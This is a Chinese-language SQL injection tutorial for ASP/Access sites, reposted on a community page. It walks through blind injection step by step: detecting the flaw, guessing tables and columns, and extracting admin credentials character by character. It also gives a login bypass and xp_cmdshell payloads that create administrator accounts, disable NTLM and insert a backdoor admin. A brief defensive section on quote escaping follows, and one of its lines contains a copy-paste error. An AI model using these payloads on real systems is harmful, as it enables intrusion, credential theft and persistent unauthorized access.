asp+access注入基礎說明

來源:互聯網
上載者:User
執行個體:http://www.xxx.com/jiaren.asp?ID=544
好下面開始了.....

1.判斷

用'            ;
用 and 1=1    and 1=2

判斷是很重要並且最主要的一步,因為如果你手工注入不判斷那麼怎麼繼續呢..
============================================================================
' 返回   

Microsoft JET Database Engine 錯誤 '80040e14'

語法錯誤 (操作符丟失) 在查詢運算式 'ID = 544''' 中。

/jiaren.asp,行15

============================================================================

; 返回正常頁面

===============================
and 1=1  返回正常頁面

================================
and 1=2  返回錯誤頁面

編號:

ADODB.Field 錯誤 '800a0bcd'

BOF 或 EOF 中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。

/jiaren.asp,行28
==============================================================================

上面我們進行了簡單的判斷,可以知道該頁面存在注入.這個時候會有很多朋友要問,這樣為什麼就存在注入呢.呵呵你只要記住我們就是靠返回頁面的不同來判斷的.只有它兩次返回頁面不相同那麼就可以知道存在了.

2.猜表
and 0<>(select count(*) from *)
這個就最基礎,最福士話的查詢語句了.至於語句的作用我會給大家說明.但是具體的意思請大家自行找有關SQL查詢的資料看.

and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

其中admin是可以換的,其他部分不要換.
我們剛剛返回的是正確頁面說明存在admin這張表.如果返回錯誤說明不存在,那麼我們就要換其他的.如: and 0<>(select count(*) from user) 當然啦,只要你想到都可以試試.那天我在課上我給了大家兩個提示,沒有想到很多人居然就知道這兩個了.還問我把admin , user 換成其他的可不可以.同志們,這個admin user 是可以替換的.但是,不是隨便換你要想一下平時人家都是用什麼名稱來做表名.因為你是在猜表,也要有思路的猜不是亂猜.換成123 456 那有用嗎.沒有用因為沒有誰會用這個去做表的名稱.
一般的表的名稱無非是admin adminuser user pass password 等..

3.猜帳號數目
and 0<(select count(*) from admin)
大家會發現和上面的語句差不多.呵呵其實查詢部分就是一樣不同的是前面的數字.這個數字就是去看看有幾個使用者帳號.是要換的哦.不是固定是1..因為我們是猜呀.也就是現在我們也不知道它表裡面資料到底有幾個帳號所以要猜,如果固定的那麼就不叫猜了呵呵..
1<  就是說看看 1是不是小於裡面的帳號數目 如果返回的頁面是正確的說明是對的,如果錯誤的說明不是的那麼我們就要換成 2<  3< .....  當然啦你也可以用1> 2> 來猜.
如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個 具體的數學上面判斷大小不會要我去教你們了吧.
下面我做給你們看,這裡我是從0開始判斷 呵呵返回正確頁面肯定會返回的因為裡面不可能一個管理員帳號都沒有的. 返回錯誤了哦.說明什麼他裡面就只有一個管理員帳號.我們換成1=看看是不是 OK返回正確頁面說明是的.
如果裡面有幾個帳號這個時候大家就要知道具體猜哪個帳號了.

4.猜解欄位名稱
and 1=(select count(*) from admin where len(name)>0) 使用者欄位名稱

and 1=(select count(*) from admin where len(password)>0) 密碼欄位名稱

猜解表裡面的欄位名稱了
and 1=(select count(*) from admin where len(*)>0)---  這個是核心語句哦也是福士話的語句.我們要做的就是在len( ) 括弧裡面加上我們想到的欄位名稱.

我們先來猜使用者名稱欄位 我用的是 name OK對了.那麼下面我們就來猜密碼欄位了.
我先用pass 暈死不是的,那麼我們再換成password看看 ok對了.
那麼使用者欄位和密碼欄位我們都猜解出來了.下面就是猜解長度和具體的字元了.

5.猜解各個欄位的長度
猜解長度就是把
and 1=(select count(*) from admin where len(*)>0)

>0 換成其他的只道猜到=?返回正確頁面為止,好,下面我們開始吧.
首先是帳號長度...剛剛帳號欄位是name
and 1=(select count(*) from admin where len(name)>0) 正確
and 1=(select count(*) from admin where len(name)>1) 正確
and 1=(select count(*) from admin where len(name)>2) 正確
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確
and 1=(select count(*) from admin where len(name)>4) 正確
那麼我們就可以知道長度是 6
and 1=(select count(*) from admin where len(name)=6) 正確
呵呵對了吧,=6返回的是正確頁面.

下面是密碼欄位的長度
and 1=(select count(*) from admin where len(password)>0) 正確
and 1=(select count(*) from admin where len(password)>6) 正確
and 1=(select count(*) from admin where len(password)>10) 正確
and 1=(select count(*) from admin where len(password)>15) 錯誤
and 1=(select count(*) from admin where len(password)>14) 錯誤
and 1=(select count(*) from admin where len(password)>13) 錯誤
and 1=(select count(*) from admin where len(password)>12) 錯誤
and 1=(select count(*) from admin where len(password)>11) 正確
OK長度是 12

name 6
password 12

長度出來了,下面就是具體的字元了

6.猜解字元
and 1=(select count(*) from admin where left(name,1)='a')  ---猜解使用者
and 1=(select count(*) from admin where left(password,1)='a')
就這樣一次加一個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了

and 1=(select count(*) from admin where left(pass,1)='a') ---猜解密碼

left(name,1)='a' 注意了 1的位置就是你要猜解的字元的位置.
and 1=(select count(*) from admin where left(name,1)='a') ---猜解使用者帳號的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解使用者帳號的第二位
就這樣下去只到猜玩為止.

and 1=(select count(*) from admin where left(name,1)='a') 錯誤
.....
and 1=(select count(*) from admin where left(name,6)='pclzyq')
因為這個猜解過程比較漫長所以我就直接給出答案了.

and 1=(select count(*) from admin where left(password,1)='a') 錯誤
.......
and 1=(select count(*) from admin where left(password,12)='pclzyq000215')
直接給出了答案.

name = pclzyq
password = pclzyq000215

7.找出登陸口,進行登陸
一般的登陸口:
admin.asp
admin_index.asp
admin/index.asp
admin/admin.asp
....
大家可以自己去積累..積累多了不要忘了做成文字檔傳給我哦.^_^

我們這裡登陸口是 http://www.xxx.com/admin.asp 下面就是進行登陸了.

呵呵,後台簡單吧寫這個程式的人估計也很簡單因為他這個登陸口還存在另外一個問題.
用 'or''=' 進行登陸看看 , 看見了吧也可以進去哦.呵呵

說明:

命令:SELECT
中文意思:選擇
說明:用於找出合乎條件的記錄

加總函數:COUNT
中文意思:數量
說明:用於求指定的數量

子句:FROM
中文意思:資料表
說明:用於指定資料表

子句:WHERE
中文意思:條件
說明:用於設定條件

運算子:AND
中文意思:並且
說明:邏輯且

TOP  --取出前面的指定長度資料
select top 10 * from .....

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51)  -- 這個查詢語句可以猜解中文的使用者和密碼.只要大家把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字元.
-----------------------------------------------------注意
通過SQLSERVER注入漏洞建資料庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加資料庫使用者使用者test,密碼為test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼,則用這句(將test的密碼改為123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個組的成員可執行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系統使用者test,密碼為test
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //將系統使用者test提升為管理員
這樣,你在他的資料庫和系統內都留下了test管理員帳號了
2:
屏蔽注入的辦法replace(變數,"'","''")替換成二個單引
舉個例子給大家
存在注入的句子
pwd = request.form("pwd")
name = request.form("name")
修改後不存在注入的兩個辦法 pwd = request.form("pwd")
name = request.form("name")
name = replace(name,"'","''")
得先讀取再判斷啦
或直接
pwd=Replace(Request.Form("pwd"),"'","''")
name=Replace(Request.Form("pwd"),"'","''")
第3個例子:
sql="select * from 表 where user=''"&user&"'' and pass=''"&pass&"''"
sql="select * from 表 where user=''"&replace(user,"''","''''")&"'' and pass=''"&replace(pass,"''","''''")&"''"
---------------------
如果是字元型的就
replace(String,"'","''")
如果是預存程序就
replace(String,"'","''''")
如果是數值型就isnumeric一下
--------------------------------------------
對於sql注入很多網站開始採用replace(request("id"),"'","''")一個單引號轉成兩個單引號來過濾,
也有通過replace(request("id")," ","")消去所有空格來過濾。
對於"select * from tablename where id='" & replace(request("id"),"'","''") & "'"這種過濾,目前沒有任何破解辦法,
但是有很多網站卻在select * from tablename where id=" & replace(request("id"),"'","''")來過濾,
因為提交的參量兩遍並沒有單引號封死,而僅僅依靠過濾使用者資料的單引號來防禦
sql注入。這種防禦可以導致正常的sql注入失敗,這是一個注入半防禦狀態。但是如果我們能夠避
開單引號的話,那麼那種防禦就毫無意義。同理過濾空格也一樣。

主要是針對數字型的變數傳遞:
id = Request.QueryString("id") '取得傳遞的ID
If Not(isNumeric(id)) Then '驗證-如果ID不是傳遞的ID那麼。。。
Response.Write "非法地址~"
Response.End
End If

補充篇之ACCESS注入點顯示目錄
因為有時候我們要知道他的WEB網站到底在伺服器哪個盤下面,只對MDB資料庫有效..
http://www.252525.net/news.asp?id=1 and (select top 1 tmp from temp)=1
補充篇之去掉ntlm驗證
那就是直接運行命令:tlntadmn config sec = -ntlm
注射的話可以直接運行:;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'--
補充篇之往資料庫裡加管理員
;insert into admin(Username,PassWd,OSKEY) values ('ldwz','49ba59abbe56e057','super')--

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.